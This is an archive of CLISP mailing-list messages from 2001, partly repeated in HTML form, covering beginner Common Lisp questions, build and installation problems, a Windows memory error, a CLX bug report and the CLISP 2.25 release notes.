>       (cellminarray (make-array '(0 0) :adjustable ));; End of Make-array 
>      ) 

Use:  ...   :adjustable t)) ...

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<P><FONT SIZE=3D2>Thanks for you help...</FONT>
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<BR><FONT SIZE=3D2>From: Pierpaolo BERNARDI [<A =
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<P><FONT SIZE=3D2>On Tue, 6 Feb 2001, Justice, Randy -CONT =
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<P><FONT SIZE=3D2>&gt; Hi,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Can someone help me...</FONT>
<BR><FONT SIZE=3D2>&gt; I'm trying to do adjustable array..</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; (let ((sum 0)</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
(array-length ( - (array-dimension txy 0 ) 1))</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
(cellminarray (make-array '(0 0) :adjustable ));; End of Make-array =
</FONT>
<BR><FONT SIZE=3D2>&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ) </FONT>
</P>

<P><FONT SIZE=3D2>Use:&nbsp; ...&nbsp;&nbsp; :adjustable t)) ...</FONT>
</P>

<P><FONT SIZE=3D2>P.</FONT>
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Hi..a simple problem!
How can I use `read-from-string` to read the hole string and not only a
part of it? Here is what I have:
>(stef st ("(+ 2 3)(* 3 3)"))
>(read-from-string st)
(+ 2 3)
7

and I want this:
>(read-from-string st)
(+ 2 3)(* 3 3)

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> * In message <Pine.LNX.3.96.1010206172150.31350A-100000@baker.lcmi.ufsc.br>
> * On the subject of "[clisp-list] Read-from-string"
> * Sent on Tue, 6 Feb 2001 17:28:32 -0200 (EDT)
> * Honorable Leonardo Bitsch <dado@lcmi.ufsc.br> writes:
>
> How can I use `read-from-string` to read the hole string and not only a
> part of it? Here is what I have:
> >(stef st ("(+ 2 3)(* 3 3)"))
> >(read-from-string st)
> (+ 2 3)
> 7
> 
> and I want this:
> >(read-from-string st)
> (+ 2 3)(* 3 3)

what kind of object do you want to get?

        (+ 2 3)(* 3 3)

is not a printed presentation of a Lisp object.
if you want a function which returns multiple values, you should do

        (values-list (string-tokens "(+ 2 3)(* 3 3)"))

where `string-tokens' is defined in CLOCC/PORT
(http://closs.sourceforge.net, clocc/src/port/ext.lisp):

(defun string-tokens (string &key (start 0) max)
  "Read from STRING repeatedly, starting with START, up to MAX tokens.
Return the list of objects read and the final index in STRING.
Binds `*package*' to the keyword package,
so that the bare symbols are read as keywords."
  (declare (type (or null fixnum) max) (type fixnum start))
  (do ((beg start) obj res (num 0 (1+ num))
       (*package* (find-package "KEYWORD")))
      ((and max (= max num)) (values (nreverse res) beg))
    (declare (fixnum beg num))
    (setf (values obj beg)
          (read-from-string string nil +eof+ :start beg))
    (if (eq obj +eof+)
        (return (values (nreverse res) beg))
        (push obj res))))


(you might find it beneficial to ask general lisp question on
news:comp.lang.lisp). 

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I have two arrays...

cellminarray
#2A((0 0 0 0) (0 0 0 0) (0 0 0 0) (0 0 0 0))

and 

cellmaxarray
#2A((0 0 0 0) (0 0 0 0) (0 0 0 0) (0 0 0 0))

I want to compare the two arrays
(equal cellminarray cellmaxarray)
Nil is returned...

Is there a simple method to test two arrays..

Thanks again...
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<P><FONT SIZE=2>I have two arrays...</FONT>
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<P><FONT SIZE=2>cellminarray</FONT>
<BR><FONT SIZE=2>#2A((0 0 0 0) (0 0 0 0) (0 0 0 0) (0 0 0 0))</FONT>
</P>

<P><FONT SIZE=2>and </FONT>
</P>

<P><FONT SIZE=2>cellmaxarray</FONT>
<BR><FONT SIZE=2>#2A((0 0 0 0) (0 0 0 0) (0 0 0 0) (0 0 0 0))</FONT>
</P>

<P><FONT SIZE=2>I want to compare the two arrays</FONT>
<BR><FONT SIZE=2>(equal cellminarray cellmaxarray)</FONT>
<BR><FONT SIZE=2>Nil is returned...</FONT>
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<P><FONT SIZE=2>Is there a simple method to test two arrays..</FONT>
</P>

<P><FONT SIZE=2>Thanks again...</FONT>
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Sam Steingold schrieb:
> > * Honorable Leonardo Bitsch <dado@lcmi.ufsc.br> writes:
> > >(read-from-string "(+ 2 3)(* 3 3)")

I also help myself often by adding "(progn" at the front and putting ")" at
the 
end of the string before calling read-from-string with user strings, 
esp. when they should be eval'd.
but of course values are better.

>         (values-list (string-tokens "(+ 2 3)(* 3 3)"))
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> Is there a simple method to test two arrays..

use `equalp' and please read CLHS!
http://www.lisp.org/HyperSpec/Body/fun_equalp.html

general CL question should go to news:comp.lang.lisp - you will get much
more verbose answers.

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Hi...
Sorry about the simple question!
When I use=20

 (values-list (string-tokens "(+ 2 3)(* 3 3)"))

the answer is
 (:+ 2 3) ;
 (:* 3 3)

I want to 'eval' this and write it to a file as:
 5
 9=20
How can I take ":" out? Is it possible to define a function in a string
and after that call this function in the same string? For example:
 "(defun pl (a b) (+ a b))(pl 2 2)"
 PL
 4

Thanks,
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> * In message <Pine.LNX.3.96.1010207173135.3306A-100000@baker.lcmi.ufsc.br>
> * On the subject of "[clisp-list] string-tokens"
> * Sent on Wed, 7 Feb 2001 18:02:40 -0200 (EDT)
> * Honorable Leonardo Bitsch <dado@lcmi.ufsc.br> writes:
>
> When I use 
> 
>  (values-list (string-tokens "(+ 2 3)(* 3 3)"))
> 
> the answer is
>  (:+ 2 3) ;
>  (:* 3 3)
> 
> I want to 'eval' this and write it to a file as:
>  5
>  9 
> How can I take ":" out?

(values-list (read-from-string
              (concatenate 'string "(" "(+ 2 3)(* 3 3)" "))))

> Is it possible to define a function in a string
> and after that call this function in the same string? For example:
>  "(defun pl (a b) (+ a b))(pl 2 2)"
>  PL
>  4

you are trying to do the wrong thing.
there are deep package issues here, and, unless you are just playing,
you _will_ *certainly* get into trouble.
where are you getting these strings?
what are you trying to accomplish, eventually?

(you _really_ should ask this on news:comp.lang.lisp)

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> > * In message <Pine.LNX.3.96.1010207173135.3306A-100000@baker.lcmi.ufsc.br>
> > * On the subject of "[clisp-list] string-tokens"
> > * Sent on Wed, 7 Feb 2001 18:02:40 -0200 (EDT)
> > * Honorable Leonardo Bitsch <dado@lcmi.ufsc.br> writes:
> >
> > When I use 
> > 
> >  (values-list (string-tokens "(+ 2 3)(* 3 3)"))
> > 
> > the answer is
> >  (:+ 2 3) ;
> >  (:* 3 3)
> > 
> > I want to 'eval' this and write it to a file as:
> >  5
> >  9 
> > How can I take ":" out?
> 
> (values-list (read-from-string
>               (concatenate 'string "(" "(+ 2 3)(* 3 3)" "))))
> 
> > Is it possible to define a function in a string
> > and after that call this function in the same string? For example:
> >  "(defun pl (a b) (+ a b))(pl 2 2)"
> >  PL
> >  4
> 
> you are trying to do the wrong thing.
> there are deep package issues here, and, unless you are just playing,
> you _will_ *certainly* get into trouble.
> where are you getting these strings?
> what are you trying to accomplish, eventually?

I see a lot of CPTTP desease going on here :).  Leonardo should really
ask himself whether he needs strings at all.

And yes.  comp.lang.lisp is a better venue for asking these
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What is the difference between setq and setf?

Or can one explain...

SETQ: (AREF TXY TXY_X TXY_Y) is not a symbol

on line
(setq (aref txy txy_x txy_y) (+ (aref txy txy_x txy_y) delta))

where 

(setf (aref txy txy_x txy_y) (+ (aref txy txy_x txy_y) delta))

works?

I use setq in other places in the same function and it works fine.


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<P><FONT SIZE=2>What is the difference between setq and setf?</FONT>
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<P><FONT SIZE=2>Or can one explain...</FONT>
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<P><FONT SIZE=2>SETQ: (AREF TXY TXY_X TXY_Y) is not a symbol</FONT>
</P>

<P><FONT SIZE=2>on line</FONT>
<BR><FONT SIZE=2>(setq (aref txy txy_x txy_y) (+ (aref txy txy_x txy_y) delta))</FONT>
</P>

<P><FONT SIZE=2>where </FONT>
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<P><FONT SIZE=2>(setf (aref txy txy_x txy_y) (+ (aref txy txy_x txy_y) delta))</FONT>
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<P><FONT SIZE=2>works?</FONT>
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<P><FONT SIZE=2>I use setq in other places in the same function and it works fine.</FONT>
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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED02D@pens0394.cnet.navy.Mil>
> * On the subject of "[clisp-list] setq vs setf"
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>
> What is the difference between setq and setf?

`setq' works only on symbols, `setf' works on places too.

> (macroexpand '(setf x 10))
(setq x 10) ;
t
>

this tells you that `setf' is the same as `setq' on symbols.

please read

http://www.lisp.org/HyperSpec/Body/mac_setfcm_psetf.html
http://www.lisp.org/HyperSpec/Body/spefor_setq.html
http://www.lisp.org/HyperSpec/Body/mac_define-setf-expander.html
http://www.lisp.org/HyperSpec/Body/mac_defsetf.html
http://www.lisp.org/HyperSpec/Body/mac_defun.html

you might find 
http://sourcery.naggum.no/emacs/hyperspec.el
useful.

note that this is a general Common Lisp question.
you would have received much more help if you asked it on
news:comp.lang.lisp. 


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As of clisp-2000-03-06 (the version currently in the OpenBSD ports), there
is a build/install mix-up.

The build stage does run 
/bin/sh ../libtool --mode=install install -c -o root -g bin -m 444
libiconv.la /usr/ports/lang/clisp/work/build-i386/libiconv.la^M
install -c -o root -g bin -m 444 libiconv.la
/usr/ports/lang/clisp/work/build-i386/libiconv.la^M
install: /usr/ports/lang/clisp/work/build-i386/libiconv.la: chown/chgrp:
Operation not permitted^M


This is a big problem: most administrators, and automated build procedures
do assume that build/install stages are separate.

As you can see, trying to install stuff from within build will fail, as
only the install stage proper is run with root rights.


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Marc Espie writes:
> As of clisp-2000-03-06 (the version currently in the OpenBSD ports), there
> is a build/install mix-up.
> 
> The build stage does run 
> /bin/sh ../libtool --mode=install install -c -o root -g bin -m 444
> libiconv.la /usr/ports/lang/clisp/work/build-i386/libiconv.la

The "-o root -g bin" does not come from clisp. Simple and plain "install"
should work alright.

> This is a big problem: most administrators, and automated build procedures
> do assume that build/install stages are separate.

CLISP's build phase contains a "make install" for some subpackages. This
is required when you use libtool for a subpackage (because you can't
use pathnames like ../libiconv/.libs/libiconv.la).

Bruno


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On Mon, Feb 12, 2001 at 02:13:12PM +0100, Bruno Haible wrote:
> Marc Espie writes:
> > As of clisp-2000-03-06 (the version currently in the OpenBSD ports), there
> > is a build/install mix-up.
> > 
> > The build stage does run 
> > /bin/sh ../libtool --mode=install install -c -o root -g bin -m 444
> > libiconv.la /usr/ports/lang/clisp/work/build-i386/libiconv.la
> 
> The "-o root -g bin" does not come from clisp. Simple and plain "install"
> should work alright.

Well... somehow, it means that clisp would need two notions of install,
because setting INSTALL to something makes sense, but you don't expect it
to be run during the build stage.

> > This is a big problem: most administrators, and automated build procedures
> > do assume that build/install stages are separate.
> 
> CLISP's build phase contains a "make install" for some subpackages. This
> is required when you use libtool for a subpackage (because you can't
> use pathnames like ../libiconv/.libs/libiconv.la).

Then it's probably libtool which has a problem and which would need a
`build-install' or something switch, that doesn't really perform the final
install, but the Right Thing in such a case.

No matter, the info you gave me   just means I know how to work-around that
specific problem for now (perform a make INSTALL=install to override that
setting).


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Hi.

Can some explain?

I have an 2D array. I pass the array to a function. 

It function changes the array that is passed to the function.

It looks like a array is passed as a reference not a values.

Is their a method to pass arrays as values? 

See code example... (if needed) Sorry to ask such a simple question. 
I don't have access to newsgroups.



(defun testone (tt value)
  (let* ((ltt tt )
       )
  
  (print 'ltt)
  (print ltt)
  (print 'tt)
  (print tt)


  (setf (aref ltt 0 0) value)
  (print ltt)
  (print tt)
  (print txy)
  nil
  )
)



4. Break [28]> txy
#2A((14 1 8) (2 7 1) (5 2 4))
4. Break [28]> (testone txy 1 )

LTT
#2A((14 1 8) (2 7 1) (5 2 4))
TT
#2A((14 1 8) (2 7 1) (5 2 4))
#2A((1 1 8) (2 7 1) (5 2 4))
#2A((1 1 8) (2 7 1) (5 2 4))
#2A((1 1 8) (2 7 1) (5 2 4))
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<P><FONT SIZE=2>Hi.</FONT>
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<P><FONT SIZE=2>Can some explain?</FONT>
</P>

<P><FONT SIZE=2>I have an 2D array. I pass the array to a function. </FONT>
</P>

<P><FONT SIZE=2>It function changes the array that is passed to the function.</FONT>
</P>

<P><FONT SIZE=2>It looks like a array is passed as a reference not a values.</FONT>
</P>

<P><FONT SIZE=2>Is their a method to pass arrays as values? </FONT>
</P>

<P><FONT SIZE=2>See code example... (if needed) Sorry to ask such a simple question. </FONT>
<BR><FONT SIZE=2>I don't have access to newsgroups.</FONT>
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<P><FONT SIZE=2>(defun testone (tt value)</FONT>
<BR><FONT SIZE=2>&nbsp; (let* ((ltt tt )</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )</FONT>
<BR><FONT SIZE=2>&nbsp; </FONT>
<BR><FONT SIZE=2>&nbsp; (print 'ltt)</FONT>
<BR><FONT SIZE=2>&nbsp; (print ltt)</FONT>
<BR><FONT SIZE=2>&nbsp; (print 'tt)</FONT>
<BR><FONT SIZE=2>&nbsp; (print tt)</FONT>
</P>
<BR>

<P><FONT SIZE=2>&nbsp; (setf (aref ltt 0 0) value)</FONT>
<BR><FONT SIZE=2>&nbsp; (print ltt)</FONT>
<BR><FONT SIZE=2>&nbsp; (print tt)</FONT>
<BR><FONT SIZE=2>&nbsp; (print txy)</FONT>
<BR><FONT SIZE=2>&nbsp; nil</FONT>
<BR><FONT SIZE=2>&nbsp; )</FONT>
<BR><FONT SIZE=2>)</FONT>
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<P><FONT SIZE=2>4. Break [28]&gt; txy</FONT>
<BR><FONT SIZE=2>#2A((14 1 8) (2 7 1) (5 2 4))</FONT>
<BR><FONT SIZE=2>4. Break [28]&gt; (testone txy 1 )</FONT>
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<P><FONT SIZE=2>LTT</FONT>
<BR><FONT SIZE=2>#2A((14 1 8) (2 7 1) (5 2 4))</FONT>
<BR><FONT SIZE=2>TT</FONT>
<BR><FONT SIZE=2>#2A((14 1 8) (2 7 1) (5 2 4))</FONT>
<BR><FONT SIZE=2>#2A((1 1 8) (2 7 1) (5 2 4))</FONT>
<BR><FONT SIZE=2>#2A((1 1 8) (2 7 1) (5 2 4))</FONT>
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On Tue, 20 Feb 2001, Justice, Randy -CONT wrote:

> Hi.
> 
> Can some explain?
> 
> I have an 2D array. I pass the array to a function. 
> 
> It function changes the array that is passed to the function.
> 
> It looks like a array is passed as a reference not a values.
> 
> Is their a method to pass arrays as values? 

No (using your terminology). If you want a copy of the array, you must do
it yourself.

However, note that your terminology is not correct and is likely to
cause confusion. In Lisp you can only pass _values_ to functions, as
references are not first class.

P.


> (defun testone (tt value)

8-)



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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED043@pens0394.cnet.navy.Mil>
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> It looks like a array is passed as a reference not a values.
> Is their a method to pass arrays as values? 

nope, you will have to explicitly copy the array.

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> * In message
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nope, you will have to explicitly copy the array.

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<BR><FONT SIZE=3D2>From: Sam Steingold [<A =
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<BR><FONT SIZE=3D2>Sent: Tuesday, February 20, 2001 4:59 PM</FONT>
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<P><FONT SIZE=3D2>&gt; * In message =
&lt;B4CA1F5D8D23D411ADC7009027E791BF013ED043@pens0394.cnet.navy.Mil&gt;<=
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<BR><FONT SIZE=3D2>&gt; It looks like a array is passed as a reference =
not a values.</FONT>
<BR><FONT SIZE=3D2>&gt; Is their a method to pass arrays as values? =
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<P><FONT SIZE=3D2>nope, you will have to explicitly copy the =
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Hi.

I am having a difficult time converting a list to "string"-- my real goal is
to a number.

I have a list of 1 and 0s. An example is (1 0 1).  This is a binary number
not a base 10 number.

How do I get the list to the form of "#B101".  I have tried to place the
"nth" element to a string. 
      
4. Break [6]> (setf (aref s 0) (nth 0 x))

*** - SYSTEM::STORE: 0 does not fit into "     ", bad type

where x is ( 1 0 1)
and   s is string of length 5


I am not sure this will get me to my goal.  I have tried to "eval" a string
without luck.
What is the trick to this?

10. Break [12]> (setf t1 "#b101")
"#b101"
10. Break [12]> t1
"#b101"
10. Break [12]> (eval t1)
"#b101"


Thanks in advance....

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<P><FONT SIZE=3D2>I am having a difficult time converting a list to =
&quot;string&quot;-- my real goal is to a number.</FONT>
</P>

<P><FONT SIZE=3D2>I have a list of 1 and 0s. An example is (1 0 =
1).&nbsp; This is a binary number not a base 10 number.</FONT>
</P>

<P><FONT SIZE=3D2>How do I get the list to the form of =
&quot;#B101&quot;.&nbsp; I have tried to place the &quot;nth&quot; =
element to a string. </FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>4. Break [6]&gt; (setf (aref s 0) (nth 0 x))</FONT>
</P>

<P><FONT SIZE=3D2>*** - SYSTEM::STORE: 0 does not fit into =
&quot;&nbsp;&nbsp;&nbsp;&nbsp; &quot;, bad type</FONT>
</P>

<P><FONT SIZE=3D2>where x is ( 1 0 1)</FONT>
<BR><FONT SIZE=3D2>and&nbsp;&nbsp; s is string of length 5</FONT>
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<BR>

<P><FONT SIZE=3D2>I am not sure this will get me to my goal.&nbsp; I =
have tried to &quot;eval&quot; a string without luck.</FONT>
<BR><FONT SIZE=3D2>What is the trick to this?</FONT>
</P>

<P><FONT SIZE=3D2>10. Break [12]&gt; (setf t1 &quot;#b101&quot;)</FONT>
<BR><FONT SIZE=3D2>&quot;#b101&quot;</FONT>
<BR><FONT SIZE=3D2>10. Break [12]&gt; t1</FONT>
<BR><FONT SIZE=3D2>&quot;#b101&quot;</FONT>
<BR><FONT SIZE=3D2>10. Break [12]&gt; (eval t1)</FONT>
<BR><FONT SIZE=3D2>&quot;#b101&quot;</FONT>
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<BR>

<P><FONT SIZE=3D2>Thanks in advance....</FONT>
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<P><FONT SIZE=3D2>Randy Justice</FONT>
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> * In message <B4CA1F5D8D23D411ADC7009027E791BF013ED071@pens0394.cnet.navy.Mil>
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> I have a list of 1 and 0s. An example is (1 0 1).  This is a binary
> number not a base 10 number.

please see `poly' in clocc/src/cllib/math.lisp
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 (reduce (lambda (r d) (+ (* r 2) d)) '(1 0 1) :initial-value 0)
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Thanks...

I will check out the web page.

Thanks again..


Randy
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> * In message
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> I have a list of 1 and 0s. An example is (1 0 1).  This is a binary
> number not a base 10 number.

please see `poly' in clocc/src/cllib/math.lisp
(<http://www.podval.org/~sds/data/cllib.html>)

 (reduce (lambda (r d) (+ (* r 2) d)) '(1 0 1) :initial-value 0)
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<P><FONT SIZE=3D2>Thanks...</FONT>
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<P><FONT SIZE=3D2>I will check out the web page.</FONT>
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<P><FONT SIZE=3D2>Thanks again..</FONT>
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<P><FONT SIZE=3D2>Randy</FONT>
<BR><FONT SIZE=3D2>-----Original Message-----</FONT>
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<BR><FONT SIZE=3D2>&gt; I have a list of 1 and 0s. An example is (1 0 =
1).&nbsp; This is a binary</FONT>
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<P><FONT SIZE=3D2>please see `poly' in clocc/src/cllib/math.lisp</FONT>
<BR><FONT SIZE=3D2>(&lt;<A =
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<P><FONT SIZE=3D2>&nbsp;(reduce (lambda (r d) (+ (* r 2) d)) '(1 0 1) =
:initial-value 0)</FONT>
<BR><FONT SIZE=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
=3D=3D&gt; 5</FONT>
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<P><FONT SIZE=3D2>--</FONT>
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>>>>> "Charles" == Charles Blair <chas@lib.uchicago.edu> writes:

  Charles> i'm writing a cgi-bin program in clisp, but am unsuccessful
  Charles> in getting the program to read standard-input when sent
  Charles> data using the POST method. from the command line, the
  Charles> program works fine.

The working-from-the-command-line-but-not-in-cgi-bin is probably the
hint at the problem.  I bet that you need to stick a -norc flag in the
clisp command line.

I have a shell program that starts my CLISP the way that I need it to
be started.  So, for example, if I dump an image with my program to
time.mem, I'll fire up the application thus:

------------------------------ time.sh -------------------------------
#!/bin/sh

# Shell wrapper for starting timesheet CGI application
# $Id$

exec /usr/local/bin/clisp -norc -M /usr/local/www/time-bin/time.mem
----------------------------------------------------------------------

Does that solve the problem?

-- 
Matt Curtin, Founder   Interhack Corporation   http://www.interhack.net/
"Building the Internet, Securely."   research | development | consulting


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ME = millenium edition - is that the same as Win 2000?

I'm trying to run clisp 9-15-97...

While I'm here, let me complain that I was unable to download a newer
one starting at the ftp/www download address on clisp.sourceforge.net.
There's something wrong with the urls there.  I can get some stuff
like http://clisp.cons.org/ but not 
     ftp://clisp.cons.org/pub/lisp/clisp/binaries/ 

Anyhow, if I try to run lisp.exe I get something like this:
  cannot reserve address range at 0x78000000

What's the fix?


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Don Cohen writes:

> I'm trying to run clisp 9-15-97...
> Anyhow, if I try to run lisp.exe I get something like this:
>   cannot reserve address range at 0x78000000

Upgrade. Newer CLISPs have a totally different memory allocation that
works much better under Windows.

> While I'm here, let me complain that I was unable to download a newer
> one starting at the ftp/www download address on clisp.sourceforge.net.
> There's something wrong with the urls there.  I can get some stuff
> like http://clisp.cons.org/ but not 
>      ftp://clisp.cons.org/pub/lisp/clisp/binaries/ 

From my site, both
  ftp://clisp.cons.org/pub/lisp/clisp/binaries/win32/
  ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/
are accessible.

Bruno


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> * In message <200103061832.f26IWN819536@isis.compsvcs.com>
> * On the subject of "[clisp-list] windows "ME" memory allocation problem, also download url's"
> * Sent on Tue, 6 Mar 2001 10:32:23 -0800 (PST)
> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes:
>
> ME = millenium edition - is that the same as Win 2000?

win2000 == winnt5  -- the successor to the winNT line of junk.
winME  -- the successor to the win3.1/3.11/95/98 line of garbage.

(whistler = XP will be split into a "professional" descendant of NT and
a "personal" offspring of ME).

> I'm trying to run clisp 9-15-97...

ouch!  very old...

> While I'm here, let me complain that I was unable to download a newer
> one starting at the ftp/www download address on clisp.sourceforge.net.
> There's something wrong with the urls there.  I can get some stuff
> like http://clisp.cons.org/ but not 
>      ftp://clisp.cons.org/pub/lisp/clisp/binaries/ 

WFM.  could you please try again?
ftp://clisp.cons.org/pub/lisp/clisp/binaries/2000-03-06/clisp-win32.zip

> Anyhow, if I try to run lisp.exe I get something like this:
>   cannot reserve address range at 0x78000000

I remember that the older versions of CLISP required an -m10M command
line argument on win32.
Bruno is certainly the authority to ask this question to... 

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Bruno Haible writes:
 > Upgrade. Newer CLISPs have a totally different memory allocation that
 > works much better under Windows.
 ...
 > From my site, both
 >   ftp://clisp.cons.org/pub/lisp/clisp/binaries/win32/
 >   ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/
 > are accessible.

Thanks, all now works.  Patience was the missing ingredient.


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Hi

$ clisp --version
CLISP 2000-03-06 (March 2000)

[2]> *features*
(:CLX-ANSI-COMMON-LISP :CLX :CLOS :LOOP :COMPILER :CLISP :CLTL2 :COMMON-LISP
  :INTERPRETER :LOGICAL-PATHNAMES :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER
  :PC386 :UNIX
)
[9]> (defun beep (hertz milisec)
  (let ((dsp (xlib:open-display "localhost")))
    (xlib:change-keyboard-control dsp 
				  :bell-pitch hertz 
				  :bell-duration milisec)
    (xlib:bell dsp)
    (xlib:display-finish-output dsp)
    (xlib:close-display dsp)))
BEEP
[10]> (beep 440 200)
*** - internal error: statement in file "clx.e", line 9656 has been reached!!
Please send the authors of the program a description how you produced this error!
1. Break [11]> 

It works in cmucl.  I recompiled clisp to use the old mit-clx and it
works fine, so I think it must be a bug in new-clx.

Regards,
Peter


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A new version of CLISP has just been released.

Bruno, please post this announcement to news:comp.lang.lisp
 (I have lost my nntp connection yet again, so I cannot do it).


2.25 (2001-03-15)
=================

Important notes
---------------

* The default extension of Lisp source files for CLISP is now ".lisp" instead
  of ".lsp". When both "foo.lisp" and "foo.lsp" exist, (LOAD "foo") will load
  "foo.lisp".

* Changed bytecode format. All .fas files generated by previous CLISP versions
  are invalid and must be recompiled.

User visible changes
--------------------

* A new version numbering scheme is adopted.

* If an error is signalled by a form supplied with the command-line
  option "-x", CLISP now exits with a non-zero status.

* The pretty-printer does not print hanging parenthesis by default now.
  *PRINT-RPARS* now defaults to NIL and *PRINT-INDENT-LISTS* to 1, so
  that the lists are printed like in CLHS and CLtL.

* New extension: directory access (win32 registry).  See impnotes for details.

* Support UNC pathnames (\\host\dir\name.ext) on win32.

* Support the SCREEN package on Win32. Thanks to Arseny Slobodjuck.

* New functions CONVERT-STRING-FROM-BYTES and CONVERT-STRING-TO-BYTES.

* Support for non-blocking binary I/O.
  New functions READ-BYTE-LOOKAHEAD, READ-BYTE-WILL-HANG-P, READ-BYTE-NO-HANG.
  New generic functions STREAM-READ-BYTE-LOOKAHEAD,
  STREAM-READ-BYTE-WILL-HANG-P, STREAM-READ-BYTE-NO-HANG.

* CONCATENATED-STREAM-STREAMS now returns only the remaining streams,
  as per ANSI CL spec.

* Implemented ANSI CL function INSPECT,
  and a function LISP:CLHS for access of Common Lisp HyperSpec.

* Characters have now the same names as in Unicode 3.0, with space replaced
  by underscore.

* ANSI CL compliance: CALL-NEXT-METHOD and NEXT-METHOD-P are now implemented
  as local functions, not local macros. It is now possible to call
  (APPLY #'CALL-NEXT-METHOD argument-list-of-unknown-length).

* ANSI CL compliance: LOAD has a new keyword argument :EXTERNAL-FORMAT.

* ANSI CL compliance: When an end-of-stream occurs, READ, READ-CHAR, PEEK-CHAR,
  READ-CHAR-NO-HANG, READ-LINE, READ-BYTE, READ-INTEGER, READ-FLOAT, called
  with arguments eof-error-p = NIL and without eof-value, now return NIL
  instead of #<END OF FILE>.

* ANSI CL compliance: When LISP:*PARSE-NAMESTRING-ANSI* is non-NIL,
  PARSE-NAMESTRING parses strings with colons as logical pathnames.

* New supported character sets in package CHARSET: GB18030, BIG5HKSCS.

* Arguments passed to MAKE-PATHNAME with value NIL are not overridden by
  pathname slots in the :DEFAULTS argument any more.

* STREAM-ELEMENT-TYPE of a TWO-WAY-STREAM or an ECHO-STREAM now depends on
  the stream's constituents. Previously, it was always (OR CHARACTER INTEGER).

* Fixed a bug: REPLACE signalled an error if the source and destination
  sequences were the same and the source and destination ranges didn't overlap.

* Fixed a bug: A garbage collection during the execution of a foreign function
  callback caused a crash.

* Fixed a bug: Calling READ-LINE on a stream already positioned at EOF caused
  a crash on 64-bit platforms.

* Fixed a bug: For long-floats, (EQL x (- x)) returned true.

* Fixed a bug: OPEN now returns NIL when the filename's directory does not
  exist and :IF-DOES-NOT-EXIST NIL was specified. Previously, an error was
  signalled except when :DIRECTION was :PROBE.

* Fixed a bug: (subtypep 'fundamental-stream 'stream) returned NIL.

Portability
-----------

* Added support for IA-64 running Linux.

* Added support for BeOS 5. Thanks to Alexis Rivera Rios <ahrivera@yahoo.com>.

* Removed support for DOS. Don't worry, OS/2 and Win32 are still supported.


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Greetings. I submitted the following bug report a few days ago and
received the accompanying response:

  "Greetings. It appears that CLISP's implementation of
   LOAD doesn't understand logical pathnames, as it apparently should
   according to CLtL2. 

   Evaluating the following in CLISP:

    (load "lisa:clocc;port;port.system")

  fails with the message

    *** - A file with name lisa:clocc;port;port.system does not exist

  If I replace the above LOAD form with

    (load (translate-logical-pathname "lisa:clocc;port;port.system"))

  CLISP doesn't complain and the load is successful.

  Three other Lisp platforms behave as expected."

Reply:

  "Please see the variable `lisp:*parse-namestring-ansi*' in the
  implementation notes, as well as symbol macro `lisp:*ansi*' and the
  -a command line switch. please report bugs on clisp mailing lists
  instead of here - you will get the response faster."

I installed CLISP 2.25 on my Redhat Linux box and tried the
suggestions above, to no avail; same trouble.

FYI, Redhat Linux 6.2, CLISP 2.25 built from source.

Regards,

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> * In message <200103152202.RAA18425@tinian.linuxnet.hom>
> * On the subject of "[clisp-list] Logical pathnames trouble"
> * Sent on Thu, 15 Mar 2001 17:02:21 -0500
> * Honorable "David E. Young" <youngde@nc.rr.com> writes:
>
>   "Greetings. It appears that CLISP's implementation of
>    LOAD doesn't understand logical pathnames, as it apparently should
>    according to CLtL2. 
> 
>    Evaluating the following in CLISP:
>     (load "lisa:clocc;port;port.system")
>   fails with the message
>     *** - A file with name lisa:clocc;port;port.system does not exist
>   If I replace the above LOAD form with
>     (load (translate-logical-pathname "lisa:clocc;port;port.system"))
>   CLISP doesn't complain and the load is successful.
> 
> Reply:
> 
>   "Please see the variable `lisp:*parse-namestring-ansi*' in the
>   implementation notes, as well as symbol macro `lisp:*ansi*' and the
>   -a command line switch. please report bugs on clisp mailing lists
>   instead of here - you will get the response faster."
> 
> I installed CLISP 2.25 on my Redhat Linux box and tried the
> suggestions above, to no avail; same trouble.
> 
> FYI, Redhat Linux 6.2, CLISP 2.25 built from source.

I cannot reproduce your problem:

> clisp -a
cl-user[1]: > (load "clocc:clocc")
;; Loading file /usr/local/src/clocc/clocc.fas ...
;; Loading of file /usr/local/src/clocc/clocc.fas is finished.
t
cl-user[2]: > (load "clocc:src;cllib;base")
;; Loading file /usr/local/src/clocc/src/cllib/base.fas ...
;; Loading of file /usr/local/src/clocc/src/cllib/base.fas is finished.
t

could you please send more details?
like a full session transcript, including the value
of lisp:*parse-namestring-ansi*?
maybe you could just try "clisp -a"?

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On 14 Mar 2001 17:22:42 -0500, Sam Steingold <sds@gnu.org> wrote:

> A new version of CLISP has just been released.
[...]
> 2.25 (2001-03-15)
[...]
> * A new version numbering scheme is adopted.

Can you tell something more about the new numbering scheme?


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On Wed, Mar 14, 2001 at 05:22:42PM -0500, Sam Steingold wrote:
> A new version of CLISP has just been released.
> 

Thanks!  I think there are a few problems...

Line 1830 of the Makefile:

impnotes.html : ../doc/impnotes.html
	$(CP)  ../doc/impnotes.html impnotes.html

Stopped the make, with a "no rule for" error.

I changed it to:

impnotes.html:
	$(CP) impnotes.html ../doc/impnotes.html

and the make continued.

More seriously, when I load clisp with the "-K full" option, any error
immediately exits clisp.  I get no error message or anything else.  Am
I forgetting something?

This is what it looks like:

Script started on Fri Mar 16 13:19:23 2001
------------------------------------------
Correct behaviour:
-----------------------------------------

>clisp -q --norc 

[1]> (something-stupid)

*** - EVAL: the function SOMETHING-STUPID is undefined
